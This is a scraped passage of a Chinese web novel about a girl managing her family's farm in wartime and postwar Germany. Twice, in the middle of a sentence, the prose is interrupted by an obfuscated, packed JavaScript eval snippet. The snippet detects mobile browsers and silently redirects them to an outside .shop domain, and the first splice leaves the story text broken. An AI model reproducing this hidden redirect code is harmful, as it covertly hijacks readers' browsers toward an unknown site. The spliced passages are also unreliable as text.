麦子连续两年“旧换新”,其实雇农们早就搞不清楚到底有多少了,因为都是苏茜在清点入库和磨粉等,同时将脱掉的壳、碎屑等等都喂给鸡吃。她买的小鸡孵出来的小鸡都已经长大到可以孵小鸡。在收音机里的消息稍微不那么振奋人心的时候,她将已经养了好几年的鸡陆陆续续都杀了吃掉。包括各种明面上的面粉也分了大半。 * * * 农场里的粮仓本就不大,东西又放得松散,看上去大半仓库都空着,等到上头来征用粮食的时候,拉走的也就是一吨出头没有加工的麦粒。 留下的只有一叠配给证,得自己另外花钱买的那种。 妇人孩子们沉默地看着苏茜二话不说打开粮仓的门,让一辆卡车和一群深色制服将粮仓搬空走人。没人告密说这家隐藏了粮食,因为地主家的地窖并没有比雇农家的大多少,撑死了能让自己饿不死。 领头的制服假模假样讲了一堆大道理,并且表示感谢。 苏茜也一本正经讲了一下在场的有五位阵亡者的家属和九名服役的男女,包括她的父母和外祖父,并且深刻表示能为国做贡献是应该的。 对方也没有想到还没成年的小姑娘这么能扯,礼貌听完就立刻走人。 等对方车影子都看不见了,索菲上前拍拍外孙女的肩膀,“你——”还挺能干的。 妇人们忧虑地望向地主。 “大家继续种麦子和土豆,还有萝卜甘蓝……我们尽力吧!”因为不会再有犁地机收割机等等任何农机。 “可是,如果……”如果种出来还是被拉走,那她们还不如不干,省点力气也是省粮食不是。 “先种了再说。”等收割的时候,应该已经换天了。 趁现在还有供应,苏茜将非必需品配给份额全部卖掉换成种子化肥而不是钱。养牛场也没有放过,将所有能弄到的牛粪以及自己农场上的厨余垃圾全部进去年自建的水泥沤肥池,但人粪便还是冲进下水道。至于鸡其实是赶到屋后的地块上,虽然会啄掉甘蓝叶和土豆叶,但鸡粪本身也是肥料,鸡自己还能顺带吃掉些虫子草茎什么的。总之,现在每天收获十几二十个鸡蛋,给所有人加餐。雇农家也在她的大力鼓吹下家家养鸡种菜,她还帮忙弄玉米过来当饲料不要雇农出钱。 “苏珊妮,你为什么把钱都花光?”对于外孙女将现金都用出去的行为,老祖母索菲感到十分迷惑。 “因为钱不值钱了。我怕就跟上一次一样。” “你是说……”索菲的吸气声非常响。 “粮食被征用了。不是统一收购。” 索菲沉默半晌。第二天穿戴整齐出来叫上孙女骑车带她走,“我们去银行。” 账户里还有不少马克。苏茜知道,以后甚至都无法兑换。还有,这家银行可能也要改组什么的。 等索菲要去卖自己首饰的时候,被苏茜拉走,去将咖啡茶等配给全部买完,还买了不少衣物和毯子等等,煤则直接买了半卡车。 “苏珊妮!”老太太回来就抓住孙女不放,“你听说了什么?” “奶奶,我们还要撑几年呢。”苏茜将她带到自己的阁楼,拉开抽屉,里面有三条金灿灿亮闪闪的项链。她拿出来塞给老人。“有人要打劫我,我杀了他,这个是他身上搜出来的。放心,到现在都没有人找上门,说明再也不会有麻烦。” “这……” “有没有地方藏好?藏起来!就怕万一有什么事!”这几条是最重、做工最好的培育钻足金项链,可能比老太太拿出来家里所有钱的现值购买力略差,但明年这个时候就不一样了!“我就怕突然征召我服役。”虽然目前看大概率不会,因为之前是要十五到五十岁女子服役,但她的十五周岁生日已过。 “苏珊妮!”老太太怕血亲们一个都不剩,那她真的会去死! “别担心,奶奶,妈妈那边也是安全的。你也知道意军不行,所以不会太激烈。”别管事实如何,反正收音机里不会有什么。“我即使服役也不可能去前线。放心吧!”扛过那么多战争,她还没有一次是战死的。 “好的,奶奶安心了。” 没多久,露西娅打电话回家让母亲放心。索菲的情绪才好转很多。可苏茜知道,母亲那边大概快要打完了。 果然,两个月后,土豆全部收获后,露西娅一身单衣和但外套,拎着不大的包,又冷又饿又疲惫不堪地出现在家门口。 汉娜尖叫一声冲过去将人拉进温暖的小起居室,然后急急忙忙准备吃喝,并且喊祖孙俩过来。索菲刚起来,苏茜则穿着定做的木鞋,在屋后的地里翻土、捡鸡蛋和看看小鸡孵化情况。 露西娅是连夜走回来的。她觉得自己大概快死了。 四人份早餐本来就准备得比较多,现在多一个人也只需要多炒一份鸡蛋。苏茜还在炉子上架上铁丝网,放五个土豆烤着,然后匆匆去二楼露西娅的卧室生火,再跑去一楼烧一大锅开水。 大家并不急着问情况,只是关心露西娅的身体。 “我就是累了,其他还好。” “妈妈,热水还在烧,你房间里的壁炉刚生起来,你可以先洗个脸,换个衣服,休息一会再洗澡。”因为要烧水和保暖,所以浴缸在一楼靠近厨房和小起居室的地方——二楼浴室已经快报废了却一直没有修缮。 “还好,昨天今天并不算冷,走路能暖和起来。”幸亏她不舍得买新丝袜和高跟鞋,否则不但会冷得感冒,两脚也会废掉。 苏茜又去拿来一双家居鞋让母亲换掉快报废的低跟皮鞋——她私下买了一批鞋子,没有花家里的钱。 “谢谢,我的苏珊妮,你长大了。”露西娅吃了东西,喝掉一整壶加了牛奶的茶,才缓过来。嗯?“家里居然有奶茶?” “我们有一部分配给,还用土豆和养牛场私下交换牛奶、牛肉和乳制品。另外,粮仓已经空了,都征收了。我们自己吃的和种子都在地窖里。”以及她自己的地窖里。 “现在种子还能买到吗?” “我是上半年买的。明年和后年大概够用,反正只有一部分土地种麦子,其他种土豆。” 饥荒食物土豆?!露西娅惊惶地看向女儿,随即想到自己其实是被赶回家的,沉默了。 “露西娅,你怎么突然回来了?”索菲等女儿吃完才开口问。 “……我所在的战地医院被占了,我们不是士兵,他们不养非战俘,所以赶我们自己回家。”这一路的艰辛……算了。 “被占了?!”索菲惊呼。 “是美.军吧?”苏茜一点不觉得奇怪。 “呃,反正是讲英语的。”露西娅只是懂一点英语,完全不会分辨口音。 “怎么办?我们是不是又输了!”索菲真的开始抹眼泪。她已经经历过一次战败,从小贵族后裔变成普通农民,那么之后呢?要成穷人了吧! “奶奶,妈妈,至少我们还有农场里的人都不会挨饿。我买了很多化肥,堆在院子后面的杂物间里。即使自来水出问题,我们距离湖还算近,可以用自行车拉了装水桶的拖车运。起码能保证土豆和甘蓝、萝卜之类,还有些鸡蛋和鸡。” “对对,我们现在有上百只鸡,有公鸡母鸡和小鸡。”索菲突然想起来,“我们家连汉娜母女在内,每人每天能有三个鸡蛋,过一段时间就杀只鸡吃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等第二天早餐后能在自己房间里“秘密”喝到牛奶咖啡的时候,露西娅已经不会问这是如何弄到的了。 “咖啡豆应该是去年的,不过保存得不错。但明年能不能喝到咖啡就不一定了。”苏茜很清楚,明年、后年都没有咖啡,甚至牛奶也不保证。所以她采购得更多的是比较耐放的红茶——密封罐是用在面粉和种子这些保命的东西上,没有罐头包装的咖啡豆被排除在外。 “有干净的热水喝就算不错了。”露西娅叹息。她有一年多没有喝到咖啡了,一滴都不舍得浪费。 苏茜觉得她有必要趁着没有彻底战败去弄些咖啡来。要不自己制作水密陶罐来装咖啡? 可惜,咖啡就是买不到,倒是意式干奶酪和一些罐头之类居然是非配给的食材买到不少。这些玩意在地窖里可以放一两年,足够在战后维持一定的生活水平——放在岛上的地窖里,预防家里的地窖被窃或是被征收。另外,岛上的各种炉子也被她收拾出来作为补充。 一直到下雪前,苏茜一直都在地里忙活或是在外头奔波。要不是有充足的食物甚至岛上一点贝类增加蛋白质,她能累脱形。 这个圣诞节和元旦新年是十几年来最凄惨的一个,又可能是未来三年最好的一个。索菲三代人拜访了每一户雇农家,送上用料实在的奶酪黄油面包、鸡蛋、糖、面粉、橄榄油和煤块、毛线等。苏茜推着推车,索菲负责聊天,露西娅送上礼物。她们尽力让新年维持跟前些年差不多的水准,但大家都知道,外面的世界变天了。 这种人多口杂的场合,谁也不敢多说什么,只提新年好,大家要健健康康保证来年丰收之类。 苏茜甚至还向镇上的“宣传队”说自己去年清空了粮仓,今年会继续清空之类的话,信誓旦旦地让索菲瞅了她好几眼。 这孩子脑子坏了?还是演戏成精了? 当然都不是。 收音机里的时间地点已经没有逻辑了。甚至只有在苏茜到了镇上时才听说德城被袭——是那边的人打电话给这里的亲属,大家才知道的。但也就是“听说”,不敢多讲。倒是柏林的轰.炸确实出现过几次。 她相信那边现在不会比伏尔加格勒好到哪里去——这真是纠结的事情,那时她真的恨死了柏林。可现在…… 镇上的农业物资已经乱了。种子、化肥、除草剂和杀虫剂等已经买不到了,配给证上的东西除了少部分比如面粉还有点,其他也没有了。 露西娅亲自骑了苏茜“另购”的自行车去了吕城,那里的供应也不行了。街上甚至已经出现首都被攻打的“传言”。 “……那些制服都没了精神,一副无精打采的样子。”她躲在自己房间里小声对母亲和女儿道。几年前几个神父和牧师被抓住后处死的恐怖后果让本地居民闭紧嘴巴的同时,对制服和告密者的排斥到现在已经升到顶点。“我觉得首都被攻打的事情是真的。” “我也觉得是真的。”苏茜算算时间,可能还没到柏林战役,但外围肯定已经打得节节败退。“我去弄浇灌了。” “……”望着女儿一点不受影响的背影,露西娅沉默着。 “没事,苏茜很看得开。她前年就开始囤积物资了,说明她那个时候已经觉得不对了。”索菲无所谓地道。只要不再出现亲人死去、土地卖掉的情形,老太太什么都能接受。 “我是担心她的学业和未来。青年人死得差不多了,可能连吃饭都成问题,哪来好的丈夫人选……算了,学历和婚姻都不重要了。”哪怕这个农场整体做嫁妆,女儿也不见得能嫁到什么好男人——好男人都死在战场上了——何必纠结呢?! 似乎也就是个把月时间,农场的居民们第一次看见英军的军服。 “为什么不是红色的制服呢?”一个小姑娘有些失望地喃喃问道。 “哦,我们的颜色改了。”一个小军官似乎能听懂些德语,微笑着用英语回答。 “……”听不懂英语的金发小姑娘张着小嘴。 本地居民私底下早就传遍了,现在看见“占领军”似乎挺有礼貌,没有抢劫或强.暴的事情,只是象征性地换了旗帜,“带走”几个制服头儿,也就安心地该干嘛干嘛。或者说,大家觉得战场上还活着的亲人们应该快回家了。 土豆播种了,冬麦快要收割了,这些才是大事!大家总是要吃饭的,听说盟军都是靠美丽国的罐头过日子,于是有几个寡妇试着烤了些松软的蛋糕问士兵要不要,对方也没有钱,但是有香烟,而烟可以换别的,于是一块不大不小的蛋糕换一包烟似乎成了固定物价。 60.我在另一边(三) 苏茜拒绝了几个雇农用面粉换香烟的提议。 “你们要抽烟还是和孩子们一起吃肉?”她先指挥大家翻晒麦粒,然后入库,只磨了少量的面粉。麦子最好放一段时间再做出面粉,这样口感比较好。“如果你们需要烟,我就把面粉作为工资支付给你们。” “……他们都说香烟比马克值钱。” “只是暂时的。很快价格就会回归正常。还有,我建议,买大衣还不如买棉衣和棉靴,看夏天这么热,估计今年冬天不会暖和。” 战场上只活着回来六名又伤又瘦弱的男子,其中包括那个前年被征召走的少年——能活着已是侥幸,无法要求更多。反正不论是收割还是犁地,甚至是打架,他们暂时都没法跟苏茜相比。 农场仍然听苏茜的。 “我们隔壁的隔壁那个大农场,主人是党卫军,已经战死了,地没收以后都分给东边回来的难民。”汉娜收集了足够多的情况,来报给女主人们。 “那原来的雇农呢?” “还在。他们缺干活的人,不过一家家都分开了,因为分成好几十份!”那么小,只够盖几间房子和种土豆和蔬菜,养点鸡什么的,不然都不够十来口人吃饱穿暖——买漂亮的衣服鞋子这种就别想了。“不过听说吕城里已经有死去的流浪汉。”还有街头妓.女。 “别想太多,我们都还记得上一次大战结束后是什么样子的!” “那,索菲,我们这里还会招工吗?” “暂时不需要。这么多人,犁地勉强也够了,再多可没钱给他们盖房子。何况现在的钱已经不太能用,大家都用香烟来当钱。” “那就好!”从主人家这里得到确切的消息后,汉娜立刻让女儿出去跟大家说,不会再有人来抢大家的房子和饭碗。 在苏茜“强势”地换来各种生活物资,还搬出来大批做种的土豆和化肥之后,大家都希望能维持现有的生活,而不是流落街头饿死。 农场里产出的土豆现在不卖钱,只交换,并且拒绝香烟这种“等价物”。吕城有不少人拿着家里的东西、骑着自行车一个个农场换吃的。苏茜带着人汗流浃背地刚收获了部分田地里种的差不多两万公斤土豆,很大方地将大部分发给雇农当工资——大家现在都不要马克,苏茜也没啥马克可以给他们。所有雇农家庭都兴高采烈地与城里人交换手表、首饰、衣服等等。 可以果腹的食物前所未有的“昂贵”。 只有苏茜,默默和母亲一起将麦粒脱粒后直接磨粉,放进自家地窖,壳和碎屑都用来喂鸡。这样的面粉不白不精,但省粮食的同时其实对健康更加有利。自己吃的土豆则都是屋后种的,秸秆全部烧成灰作为绿肥。烧秸秆对环境很不友好,但苏茜别无选择。 这个翻地、播种的季节,不出意外没有拖拉机。大家收获完土豆就开始陆陆续续地翻地,等冬麦播种时间到了,也就是人工拼死拼活犁出来一半略多的地块,而且深度不是那么的理想。 “好在我们还有化肥,和这个钢犁。”老戴曼将眼泪憋回去。他刚过四十、种地经验丰富,本来应该是农场重要劳力,但受的伤治疗得十分马虎,做不了太久的体力活。其他男丁,比他年轻的则是经验不足,年纪大的俩都过了六十,种地经验也有些老旧过时。所以苏茜依旧是最棒的劳力,没有之一。 她去年就又定制了二十把挺好用的犁和钢制备用犁头,现在真的就排上用场了。 “苏珊妮真厉害!”戴曼的大女儿嘀咕着。她父亲活着回来了,可哥哥阵亡,之前都是她跟母亲带着妹妹干活、日子勉强温饱,现在父亲的加入虽然没有改善什么,但总归是一家人大部分都在,失去哥哥的伤感在各家都有阵亡者的时候早就变淡了。“她只有在旧衣服破了的时候才买新衣服,从来不花钱买奢侈品,随便我们用烤炉和木头,面粉跟她吃的也是完全一样是黑麦粉……还有农忙时的‘加班费’就是养鸡的饲料,家里的鸡蛋都是从这里来的。我想工厂里的工人也就是这样的待遇了。” “现在工人都没有工作。”老戴曼轻声说。大家习惯了轻声说“坏话”,防备隔墙有耳被告密后抓走,到现在都没改过来。“你没看有人把铁十字勋章都拿出来换土豆。” “也就是苏珊妮好心,居然给了两袋土豆。”都能换件半新大衣了。 “她尊重勇敢的人。”老父亲手上脏,没舍得用手拍女儿的脑袋,只是用下巴示意,“这点我来做完,你回去洗手吧。” “好,我去把衣服先洗掉,然后去拿面包。哦不,先去拿面包!”小姑娘撒腿就跑。 她忘记洗手了!老戴曼摇摇头,继续把分给他家的活干完。 苏茜是个非常实在的人,按劳动能力划分好工作量,完成的收货时正常拿“工资”,雇农造成损失的会扣减,苏茜造成的损失不影响工资。由于这一家子地主和雇农们的生活水平差别不大,即使哗啦啦回来好几个男人,也没有对农场的管理秩序产生什么冲击。 “早上好,请问主人家在哪?”一名军官带着两名士兵开车过来,用生硬奇怪的德语问。现在没有政.府,一切军队管理,总体治安没有太糟糕,最多被偷走些菜。 “早上好。中尉先生。农场由我做主。”苏茜直起腰,用英音答复。两颗四角星,陆军中尉。 “啊,真好!”中尉还没资格配翻译,真的挺苦逼。“我们想核对土地面积和权属。” “需要文件吗?” “啊,不,暂时不用。”又看不懂!不是大地块都没人来翻译解释什么的。当地人英语水平低得可怕,大部分雇农最多能用法语问候日安什么的,其他外语压根不会。 “这块地总共7.6顷,属于我妈妈的父亲,但他去世了。我外祖母还活着,她只有一个儿子和一个女儿。她的儿子、我的舅舅去世了,没有孩子而且妻子改嫁。我的母亲还在,她之前是医院护士,现在回家了,而我的父亲也去世了,只有我一个孩子。所以我的外祖母只有我和我母亲这两个直系血亲。” “所以你母亲是你祖母的继承人,你是你母亲的继承人。”听懂了。 “是的。” “很好,谢谢!啊,对了,你如果乐意出来工作,不妨在我们这里做个文员,你知道的,我们这里最高是上尉,嗯,没有专职翻译的工资,有文员岗位的空缺,就是周薪只有两镑。”不少人嫌弃地位太低、收入太少,不乐意当英军低级军官的助手兼打字员。两英镑的周薪,低廉得连租房和吃饭穿衣都不够,工作地点又远,受过教育英语很好的女士根本不接受。 “英镑现金吗?” “是的。” “好啊!我来工作。下周一来哪里报到?” * * * 镇上被炸过,虽然后来修复了大半,但原来的制服管理者现在都关着呢。农工商完全乱套之下,这里不饿死人、大部分的房子都还在,就已经是万幸了。 所有人都认为苏茜是为了农场的生存才去为占领军工作的。她是打字员兼翻译兼文书兼人形计算器兼厨师,还能每天随机应变地把大家吃吐了的不同种类罐头,经过复杂得让人头疼的倒手交换来的食材做成不同的菜——还是指挥后勤兵做的大锅菜——这个镇子立刻成为同袍们十分羡慕的好地方。 苏茜的工资没法加,而且从不在倒手交换中获利,只要求每个工作日得到一个午餐肉罐头作为厨师助理的额外工资。这简直太划算了!上上下下的军官士兵连脚都能举起来赞成,尤其是她亲手做的酸奶杏仁酱核桃奶油面包吃得人眼含热泪,后勤兵花了些时间学习却做出来没那么好吃,全然浪费了珍惜食材,最后不得不跟着学了奶酪坚果面包当口粮包。 “可怜的孩子,为了给家里的老祖母和母亲赚罐头,每天都要工作!一周工作七天,每天得干六七个小时!”一名镇上的老人感慨着。“而她晚上回去了还要做家里农场的活!” 没那么夸张! “妈妈,你看看我的脸,有饿瘦吗?”荤素搭配,牛奶咖啡,工作不就是为了吃饱穿暖吗!而且,回农场是安排雇农们工作,有露西娅带头、索菲压阵,她在占领军那边做事,在这个一旦离开就得饿死的节骨眼,谁敢不听话啊!而且做得好的雇农能得到罐头奖励,真的再实际不过。 “黑了。”壮实又黝黑,怎么嫁得出去哟!露西娅简直想哭。但是她非常清楚女儿工作的目的,一是农场的继承问题,二是拒绝难民来抢土地,三是震慑宵小别来捣乱,四是英镑和物资。 新的配给让人无可奈何。但在最冷的季节,苏茜照样给每户发煤、布料和食物作为圣诞新年礼物。还给几个冬衣已经破败不堪的成年雇农每人发一件尺寸偏大的中长款棉衣。 “早啊苏珊妮,今天真冷!”少尉“据说”家里有牧场,被塞了个农业指导的差事,天天被一群讲德语的农民、拖拉机司机、化肥工厂、种子供应商等等围攻,每周被上头催问能有多少供应,真是苦不堪言。要不是苏茜本身也是个农场继承人、业务是熟练的,而且语言过硬,不仅是英、德,连丹、荷、法、意语都能搞定,各种价格数量理得清清楚楚,他搞不好得被换到亚洲去当个站岗的。 对于每天仍然骑车上下班而且到得最早的苏茜,大家只有佩服的份。 军官们天天都祈祷能把这一摊乱七八糟的政务早点交给专业的当地管理人士,因此战争监狱里的清理速度都加快了不少。 苏茜这边也看到不少收音机和传言里没有讲清楚的事情。今年特别冷,死了很多人。 “今年特别冷,各地因为受寒死了不少人。”苏茜回去叹息。“这个冬天大概是本世纪最冷的冬天。”这里的冷不仅是温度,还有人心。 “你前任舅母莎拉,上个月肺炎过世了。”露西娅说了个苏茜不知道的消息。“她上街从来都坚持穿丝袜大衣……天气实在是太冷了,又没有私人汽车。”还缺医少药。与之相反的是农场里的人口一个没少,大家出门有棉衣毛裤,在家能有温暖的屋子并且吃饱肚子——不是只靠土豆充饥,而是有鸡蛋有面包有菜叶配以黑胡椒土豆泥,黑胡椒是复活节礼物,家家都有。 这对前姑嫂矛盾不浅,只是老太太压得住且两人不住在一起。莎拉的血统距离贵族更近一点点,因此看不起露西娅这种土包子。而露西娅认为这种洋洋得意撑不了太久,因为贵族的时代早就过去了。农场里烧着“下人用的”煤块,出门穿着“穷人穿的”棉衣和羊毛裤,所以她们活得好好的。城里大部分人都吃不上土豆蔬菜炖午餐肉配黄油面包和奶茶,黑麦面包能吃七成饱都是条件不错的。 “妈妈,面粉我们有,土豆地窖里的土豆多得吃不完,所以好东西尽管换。”今年重新调整后,密封舱里是今年的面粉和去年的种子。“种子化肥也有,就是人力不够,不能全部种上。” “我们需要招人吗?”索菲皱眉问道。 “不需要。我怕招了人,我们的农场就要被分掉。冯德贝格家族很大,听说有不少族人从东面过来避难,难说他们有没有抢夺土地的意思。毕竟按照现行法律,我们一家女人都得从土地上滚出去。” 两位女性长辈默然,然后只问一件事:“能将农场转到你名下吗?” “风险很大,奶奶,妈妈,如果有背景权势的人想抢夺,只要造出声势逼着我结婚,再离婚,按照现行土地法,我们仍然都要滚蛋。”虽然可能性为零、因为她不会容忍被算计,但就怕别人利用老一辈的老观念,毕竟老人们的概念里是不可以离婚的,但现代同龄人可没这种看法,叫女人养自己、抢夺女性的财产是让男子得意的事,完全没有道德压力、他的家人还会拍手叫好。“对了,妈妈,可能省,不,州里要成立农民联合会,你加入吧。” 露西娅顿了下,突然想起来,女儿好像还没有满18岁。“好的。”索菲不适合风雨太阳里跑来跑去,她又是“见过世面”什么都经历过的壮年妇人,正好参与。顺便,呼吁修改继承制度。 “没事,英国已经废除了土地限定继承,美国从来没有这种东西,打仗还不如意大利的法国不用去理会。所以肯定会改。”何况纳.粹的都会被推翻,即使官员曾经是纳.粹也一样。在第一次大战后女性就有选举权的德意志,可比第二次大战后才有平等选举权的法国“文明”多了。 “可怜的法国女人,连男人们不会打仗都要归咎于她们。”露西娅也忍不住吐槽两句。上次大战那边还蛮能打的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216857|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次大战简直没眼看,跟被非洲土著和希腊平民打败的意军有得拼。 苏茜没搭腔。任何大国的女性都没有苏维埃的能打,谁家有平民少女狙击手拿勋章来着?!她们可不是穿着裙子递炮弹、穿着内衣演节目的床垫社团,而是真正的开木仓炮开轰.炸机,用血汗要求同等权利义务……不想了,战争结束了,寒冬过去了。 占领军还是摸不到工农管理的路子,需要救济口粮的人越多、他们母国的压力就越大,大家又不能宣扬让战败国的人都饿死。不过起码几家肥料厂开工,原料也能满足大半,除了个别城市仍然要靠救济配给粮,起码农业镇的居民能饱腹。就是种子仍然差强人意,农机压根拿不出多少,种出来的粮食甚至要靠香烟而非马克作为货币来购买。 好在州里大部分田地都是种土豆、菜和养殖。土豆是很好的饥荒口粮,虽然染了病的土豆会造成饥荒,可现在已经不是倒霉的爱尔兰佃农时代了。 苏茜直接按照土地面积分配的购买上限买了种子肥料农药。麦种只够种三四顷,其他都轮种土豆以及蔬菜。她特意更换着种,就怕土壤出现不可逆的问题。 另外就是农机短缺,大农机她们这小农场用不上,微型农机还没被发明出来。迟早要换成生态种植,或者干脆只留两三顷作为大棚有机果蔬园,其他都种树之类。相信年轻雇农们迟早会离开没钱赚的农场,而且粮食进口肯定是趋势,那时再根据消费市场和法律政策修改现状。 至于她自己,如果能念大学就去搞微型农机,不能念就弄果蔬大棚…… 上下班的路上是她思考的时候,所以进门的时候都没注意到士兵们投来的苦笑目光。 “苏珊妮,你是个非常、非常勤奋认真的姑娘……”偶然来一次的上尉亲自表扬了她五分钟,他吃过苏茜做的东西,委实称得上化腐朽为神奇!可惜了,唉。 苏茜一听到这种经典英式开头就知道这份工作有变化。果然,对方话锋一转,谈到了“办事处”的难处。最后,还多算了本周的薪水——这一点让苏茜颇为满意,起码赚了一镑多现钞。 “谢谢你的肯定,先生。这份工作让我获益良多。”为了双方的神经,苏茜只客套了一分钟,用词正式而精准,口音甚至是牛津腔。 大家好聚好散。 哦,今天的罐头仍然有。 苏茜跟认识的人握手道别,还写了好几种新的食物做法给后勤兵。英式料理实在太黑暗了,连暗黑料理界大拿的普鲁士人都甘拜下风。 “妈妈,奶奶,我失业回家了!”苏茜兴高采烈地回家,冲着家人直乐呵。 “真好!” “回来很好。” 索菲和露西娅都对她这份工作不以为然。两英镑的周薪简直跟开玩笑一样,要不是还有点罐头作为名头,都不好意思对外人说!毕竟战后两年,能吃到廉价的午餐肉就算是条件不错的家庭了,苏茜都是拿来当圣诞礼物送给雇农们的,一人一个罐头,人人都说苏珊妮是个大方的地主。 苏茜回来的时候正赶上收割,当然是撸起袖子一马当先,丰富的经验和充沛的体力让农场的男人们不得不让出领导权:她精准地赶在下雨前连夜收割晾晒,虽然其实晚几天麦粒更饱满一丁点,可总比被雨水毁掉强! 这几年播种期都没有农机,翻地松土的深度、化肥、种子都不尽如人意,所以产量下降明显,可到底是正经种子化肥,情况比其他种粮食的农场好些,所以苏茜仍旧发大家打的粮食作为工资,雇农们再用粮食土豆换东西。周边农场、城镇居民,包括定居下来的难民,也习惯了物物交换,交易价格按照几年前大家熟悉的价格,但不用美刀英镑和黄金等之外的货币——现在的马克不值钱。 苏茜将英镑兑换成美刀,还喜欢将不得不收取的马克全部花光用于改造镰刀和土豆专用收割刀,以及全额交农场人口社会医疗保险的费用——这是雇农们绝对听她话的主要原因之一,他们不需要负担医疗保险费。 苏茜这种不是很传统的行为让人迷惑。不过索菲和露西娅什么都没有问,孙女自己挣的钱,又没有乱花,自然是由她自己决定。 很快,她这种不留马克的行为引来所有人的“艳羡”:旧版马克不能用了,还是限额换新! 食物热量摄入不足的人们无力去街头抗议,吃得饱的农民马克不多、损失不大。苏茜甚至让全部人口按人头“分配”可兑换新钞票的旧钞,“避免浪费”。 最后剩下的一些旧马克被苏茜用面粉、罐头换走,美其名曰作为收藏品——是真的收藏,油纸包好再蜡封装木盒。 “苏珊妮,为什么我觉得这新的政府不那么靠谱?”粮食市场突然放开,似乎不会挨饿了? 错!食品供应丰富了,但配给制取消了,大家没钱买食物!还是饿!更饿! “迟早会好的。但不是今年……不是明年,也许后年就会好很多。”苏茜握着母亲的手,离开门可罗雀的杂货店。由于可以随便进口,土豆卖不上价,一顷土豆不算人力和农具消耗,扣掉税收,只能赚一千马克都不到,人均工资最多只能给到20块!麦子稍微好一点,但也只有一千五。雇农全年只能发大概人均不到百块工资,当然这里的人均包括小孩,小孩也得干农活的。苏茜不得不沿用把一部分土豆和面粉、自种蔬菜等代替工资的做法,以节省大家在食品上的开支。 “……你们可以试着找找工厂工作,真的,这块地太小了,如果不种价值更高的东西就只能卖掉……放心吧,只要我们的房子没有卖掉,你们的房子就还是你们住,除非全家都搬走。” 当惯了地主的索菲保持沉默,她以为大家不会离开土地,毕竟有吃有住,一家子还能有大概两百块工资,已经很不错了。 等真的有人在工厂里找到月薪700块新马克工资的工作时,很快又离开了三男一女,全部是正当年的劳动力。 “苏茜,一下子走了好几个青壮年,地里怎么办?”露西娅代替母亲发言。 “有拖拉机。而且我打算做一些轮作种植和牲畜养殖试验。”所以她并不需要那么多低端劳动力。“还有,妈妈,我打算回学校拿到毕业证,顺便资助农场里的孩子念到中学。” 61.我在另一边(四) 经济在好转。 或者说工业在好转。可能因为其他国家的精英大部分不会将注意力放在与机器和工人打交道、而宁愿在金融及其他投机市场兴风作浪,这个国家因为战败和饥寒交迫而奋起,应该讲不得不奋起,不然就真的都要完蛋。 至今还在配给制的英镑贬值,让新的马克也跟着贬值。各国好像突然对他们便宜耐用的机械设备感兴趣起来。 “小心点!” “没关系!” 提前租到拖拉机后,苏茜自己开着回来,安装齿轮、调整方向,四天多就将六顷左右的耕地全部深翻。相信最熟练、体能最好的拖拉机手也就是这个效率了。 农场里剩下的老弱妇孺看得目瞪口呆。 接下来的操作更加迷,比今年春天在屋后种果树更加让人不解。她开始自己折腾气味难以形容的有机肥,并且在三成耕地里种苜蓿等牧草,还养鸡、养蚯蚓!那种抓了蚯蚓一切二的做法让中老年女士们纷纷表示肠胃不适。 农场直接走了一户雇农。这家两个儿子都在隔壁州找到工作,两个人的工资加起来抵得上农场一半的利润,哪怕还要租廉价租赁房和交暖气费,也比在农场里吃单调的食物、住简陋的木屋、烧难闻的煤块要强得多。 人力车轮式播种器其实不是很好用,但比人力弯腰要强些,起码换人不换器械,两顷冬麦地不到三天就做完了。 “这样看来,农场里确实不需要太多人手。”露西娅看着苏茜一样样添置或租用,想的是女儿手里的钱大概都花光了。 这是不可能的。苏茜只是将快成纸屑的美刀英镑纸钞统统存起来再兑换成马克,只要不去买那些典当不出价的设计款饰品,足以应付了。所以圣诞节的时候,她给母亲和奶奶各买了一件厚实大衣、一条羊绒披肩和一双皮靴,当然不是什么品牌时尚货,不然她得再次卖金饰。 “苏珊妮,你今年土豆都没卖掉多少。” “不,妈妈,我用三轮车直接送货给食品店和食品摊位。价格跟统一打包给收购商的不一样。另外,我自己做的肥料,真的省钱。所以这批土豆的收入比之前种冬麦还多一点点。”大批收购价和摊贩店铺批发价,差了近十芬尼,都是苏茜付出的人力,没有其他成本,不过这种方式也只适用于她家这种小微农场。“接下来我打算弄辆汽油车带一个拖车。”不然牛粪不太好运,啊哈哈哈哈…… “今天有人来问鸡的事情。” “卖!入冬前卖掉大半不生蛋的鸡!活鸡、鸡蛋,都卖。可以稳定小批量送货。”她养鸡还真不是为了做养鸡户的。 “好的。”露西娅当过护士和俘虏后,没有任何顾忌,只要好好活着、什么都可以做。这一点,即使生活再贫乏,有贵族包袱的索菲都做不到。 拿毕业证的过程很轻松,几乎是简单过头了——对苏茜而言简单,可能对离开学校数年的人不太简单。也就是现在人才、资金、资源都不够的关系,再过几年就不可能如此轻松了。可等她想考大学的时候就傻眼了:农业、农机之类基本都不招女生,因为教授都是战前就是教授,全部是男的,而现在的大学里教授说了算。女大学生当然不少,但学费、专业都是麻烦。 “……我听到的消息就是这样,一个班四五十人,最多只有两位教授上课,可能全班只有我一个女生。”苏茜脸都绿了。“即使不读大学,我也能有一番成就的!” 她好歹也是农学博士!即使现在技术、观念和消费市场都不够发展,也不是做不成事情。水培做不了,大棚反季有机生食蔬菜是没有问题的!所以就是午后那块地,先做个小大棚吧! 然后让露西娅去跟农民联合会去扯:土豆麦子就算了、反正要清洗弄熟,但大家生吃的菜叶子和蓝莓草莓,总得没有任何毒性,是吧?!现在谈转基因太早,还是先掰扯农药、化肥和催熟剂之类的吧。 